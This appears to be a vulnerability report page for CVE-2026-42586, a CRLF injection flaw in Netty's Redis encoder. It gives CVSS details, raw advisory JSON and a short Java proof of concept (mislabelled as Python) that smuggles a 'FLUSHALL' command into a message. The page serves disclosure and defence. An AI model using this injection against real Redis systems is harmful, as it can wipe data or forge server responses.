Security Vulnerability Report
中文
CVE-2026-42586 CVSS 6.8 MEDIUM

CVE-2026-42586

Published: 2026-05-13 19:17:24
Last Modified: 2026-05-14 19:16:36

Description

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Netty < 4.2.13.Final
Netty < 4.1.133.Final

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for Netty RedisEncoder CRLF Injection // This demonstrates how an attacker can inject commands via CRLF characters. import io.netty.channel.ChannelHandlerContext; import io.netty.handler.codec.redis.DefaultRedisMessage; import io.netty.handler.codec.redis.RedisMessage; import io.netty.handler.codec.redis.SimpleStringRedisMessage; public class Exploit { public void sendPayload(ChannelHandlerContext ctx, String controlledInput) { // The vulnerability allows injecting CRLF to break the RESP protocol structure. // By appending "\r\n", we can terminate the current message and inject a new command. String maliciousPayload = controlledInput + "\r\n" + "FLUSHALL" + "\r\n" + "OK"; // Sending the malicious payload through the vulnerable RedisEncoder RedisMessage message = new SimpleStringRedisMessage(maliciousPayload); ctx.write(message); // Result: The Redis server might interpret 'FLUSHALL' as a separate command. } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42586", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:24.323", "lastModified": "2026-05-14T19:16:36.110", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "references": [{"url": "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7", "source": "[email protected]"}, {"url": "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}